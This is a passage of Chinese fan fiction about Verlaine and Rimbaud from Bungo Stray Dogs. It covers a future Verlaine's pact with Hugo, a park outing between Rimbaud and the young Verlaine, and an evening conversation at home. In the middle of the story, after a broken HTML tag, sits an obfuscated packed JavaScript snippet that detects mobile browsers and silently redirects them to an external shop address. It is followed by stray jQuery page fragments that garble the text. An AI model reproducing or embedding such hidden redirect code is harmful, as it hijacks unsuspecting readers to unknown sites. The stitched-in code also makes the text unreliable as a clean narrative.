看着雨果的神情,魏尔伦对心中隐约的猜测有了定论——也许是世界认为有两个魏尔伦这件事太过奇怪,也许是送他回来的那道声音好心的帮助,总之,他的气息,确实被不知名的存在抹去了。
否则,即使对自己的潜入技巧有充足的信心,魏尔伦也从未自傲到认为,自己可以悄无声息地躲过“恶之花”的检测,直接进入戒备森严的铁塔内部,出现在毫无防备的雨果面前。
成年的人造神明施施然拉开椅子坐下,仿佛自己才是这间办公室的主人一样自在,
“好久不见,雨果先生。”
他微笑着和雨果打了个招呼,然后直奔正题,
“您想要终结战争吗?”
雨果的神情瞬间变得严肃起来,两双颜色有些差异的蓝眸对视片刻,屋内的装潢忽然变成更加复古的风格,金色卷发的青年挥挥手,有虚无透明的禁锢降临在魏尔伦身上,将他的着装也一并更改,
“现在你可以说了,送奶工先生。”
“镇国者”的语气轻柔中带着不容拒绝的强硬,
“请务必如实诉说,如果您不想变成‘被钟表砸死的送奶工’。”
真便利的异能力啊。
魏尔伦眨眨眼,看了一下身上粗糙的布料,真心实意地笑起来,
“您放心,我确实是来合作的。”
交谈博弈的过程中,很难感受到时间的流逝,从铁塔里出来时,魏尔伦抬头看去,天色已经渐晚。好在放在兰波家门口的警报没有响,这让他略微松了口气——虽然已经提前想好了解释自己外出的借口,但在事情尘埃落定前,能够不引起兰波的怀疑当然才是最好的选择。
不过转念一想,成年人又有点疑惑和担忧。在他的记忆中,兰波很少外出,每次任务间隙里,除了回顾上次任务和整理下次任务情报之类的工作以外,基本上都是天天待在家里,哪怕今天是他故意劝诱兰波出门,让兰波找机会和年轻的那个自己好好相处一下,可从兰波出门到现在已经快有六个小时了。
难道在他的安全屋休息了?
魏尔伦微微蹙起眉头,一边向前行进着,一边思考起来。
应该不会,他曾经的那栋安全屋虽然也有壁炉,但常年没有使用过,整栋房子都冷冰冰的,阿蒂尔不是很喜欢在那里逗留,即使某些任务较为棘手,需要在出发前详细地安排对策,也都是他去找阿蒂尔。
金发的人造神明站在离自己曾经居所不远处的巷口,眯着眼,感受了一下房内的气息——无人,他若有所思地歪着头。
看来,阿蒂尔是和少年的自己一起出门了。
————————————————————
大自然是天然的治愈剂。
兰波坐在公园的长椅上,悠然地晒着太阳,一直以来隐隐发冷的身体,似乎也被阳光祛除了暗病,他抬起手,轻轻调整了一下米色围巾的位置。
一旁的少年魏尔伦正在看着前方,那里有带着孩子的父母,亲密牵手的情侣,坐在轮椅上的老人……许多普通的民众,也都和此刻的他们一样,享受着惬意的休闲时光,
“所以,兰波今天找我,到底有什么事情呢?”
他的视线还聚焦在一个金发碧眼的孩子身上,看起来约莫六七岁的女孩,无忧无虑地捧着一簇淡黄色的花朵,享受着父母的陪伴,和他从未感受过的,平凡而普通的快乐。
兰波顺着他的视线望过去,沉默地思考了许久,才缓缓开口,
“……没什么事情。”
他忽然不想在今天和保罗谈论那些“人”与“非人”的话题了。
“是吗?”
金发少年转过头,看向兰波的侧脸,黑发少年的轮廓有着与他的性格截然不同的柔和曲线,连眼眸都是代表着生机与活力的绿色,听出小搭档话语中过于明显的质疑,那双眼睛眨了眨,低声解释,
“我们很少能有这样,可以和彼此静静相处的时间。”
他也转过头来,语气诚恳,
“教导保罗是我的责任,我本就应该负责让保罗成为一个真正的人,去体会所有人类应有的人生,但很多事情,我都还没来得及教给你。”
战争是残酷的,作为拥有改变战局力量的异能力者,守护国家和民众是他们天然就该去做的事情——兰波是这样的认为的,也是这样执行的,可在和大魏尔伦谈过后,他不得不承认,这样的生活,对于从实验室中诞生,从未体会过普通人人生的小搭档来说,确实有些残酷。
就像现在,虽然他们只是在巴黎中闲逛,甚至离铁塔的距离也不算太远,但负责监视魏尔伦的小队,却一刻都未放松警惕,不远不近地缀在他们身后。
“无所事事也是人生的一种。”
兰波恍惚想起久远的记忆里,黑发的孩童在田野上放肆地奔跑,遥遥听到来自母亲的呼唤,
“不论是找个喜欢的地方逛一逛,还是在家里发呆,躺上一整天,只要能够感到舒适,都是人生中有意义的事情。”
他垂眸,看着两人放在长椅上的手之间,那段短短的沟壑,
“所以,我今天只是想带着保罗出来闲逛,这是学习的一部分,也是人生的一部分。”
“……”
魏尔伦本想反驳一句,他早就明了自己的身份,不再像最初那个幼稚的人造人一样期盼被认可为人类,也对学习人类的生活毫无兴趣,但也许是拂面而过的春风带着过于甜蜜的香气,黏住了他的双唇,也把所有老生常谈的话语都封锁其中。
最终,他只是沉默地点点头,又瞥到兰波从两人的双手上移开的目光,于是,那只属于魏尔伦的手不经意间向身侧伸出一段距离,覆盖住另一只难得未戴手套的,苍白的手。
察觉到手背传来的温度,兰波愣了一下,唇角扬起柔和的弧度,他反过手来,紧紧握住。
又过了片刻,也可能过了许久,太阳已经有些疲累地打着哈欠准备下班,公园中的人群也零零散散离去,寒意开始弥漫,兰波看着夕阳,轻声提议,
“要去那家湖边的餐厅吃饭吗?”
虽然早饭吃得很饱,但他们两个中午一直在闲逛,完全忘了吃饭,现在着实有些饿。湖边的那家餐厅是两人以前某次任务后,回来的时间太晚,随便找到的,后来因为味道不错,距离不远,逐渐成了两人最钟爱的餐厅。
“我记得来的路上,有一家新开业的餐厅。”
魏尔伦牵着他的手站起来,
“不如去尝试一下吧。”
“好。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227776|151279||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
两名少年的身影并排同行着远去,成年的魏尔伦斜靠在不远处的树后,没有追上去的打算,他拉了下帽檐,轻叹一声——看来今晚没必要做饭了。
————————————————————
在兰波家里百无聊赖地等了许久,魏尔伦无聊到干脆操控着异能力把地板拖了一遍,又把一楼的家具全都擦得闪闪发亮,连壁炉里的灰尘也没放过后,兰波终于回来了。
“欢迎回家。”
成年人的声音与刚才与他道别的少年相比更加温和,又带着说不清道不明的奇怪语气,
“阿蒂尔回来得好晚。”
……是在家里等了他一天吗?
兰波悄悄瞥了眼门口处出门时摆放的特殊钥匙,确认了位置、角度,甚至上方的灰尘都毫无变化后,有些愧疚地回应,
“和保罗聊了一会儿,没注意时间。”
“……”
聊了一会儿?
魏尔伦笑容的弧度没有变化,看着兰波直奔沙发窝进去的动作,开口呼唤少年的名字,
“阿蒂尔。”
温柔的神情中和了成年人凌厉张扬的五官,那双漂亮的上挑猫眼里,带着一丝酸涩的委屈,缠绕上兰波的心脏,令黑发少年也不自觉地放轻语气,
“怎么了?”
“没什么,只是忽然想起来,从我回来之后,就没听到过阿蒂尔喊我保罗……”
成年人仿佛不愿给兰波带来苦恼,将缱绻婉转的尾音消匿在唇齿间,然后立刻转移话题,
“说起来,都这个时间了,阿蒂尔晚餐是和少年的我一起吃的吗?去了我们最喜欢的那家餐厅?还是又发现了什么新的美味?”
“……是的。”
兰波点点头,
“是和保罗一起,刚好碰到一家新开的餐厅。”
“味道很不错?”
“嗯。”
魏尔伦挑眉,开玩笑似的感叹,
“让阿蒂尔都认同的味道,如果我也能品尝到就好了。”
“……”
兰波忽然非常莫名其妙地尴尬起来,他看着魏尔伦的表情,沉默许久,迟疑地邀请,
“如果你也想尝尝的话,明天可以自己去吃?”
他想了想,又掏了掏风衣的兜,从薄薄的钱包里拿出一张卡,
“这张卡里的钱,你可以先用着。”
……
魏尔伦盯着那张卡,视线仿佛能将卡片洞穿,最后还是没忍住,气得笑了一声,他咬着牙接过卡片,挤出一个尽力温和的回应,
“好。”
“还有。”
黑发少年的眸色在灯光的照耀下呈现出绮丽的金绿,专注地望着来自十六年后的成年搭档,明明身形已经高大了许多,肩背也更加宽阔,却又好像和少年的小搭档一样寂寥,他握着抱枕的手紧了紧,
“谢谢你,保罗。”
他没有问过未来的自己变成了什么样,成年的魏尔伦也基本从未提起过,这样的情况其实很好猜测——他死了。
虽然不清楚未来究竟发生了什么,他又是因何而死,但是,他想感谢魏尔伦。
——谢谢你为了我们的故事能够延续下去,那么勇敢地跨越时间。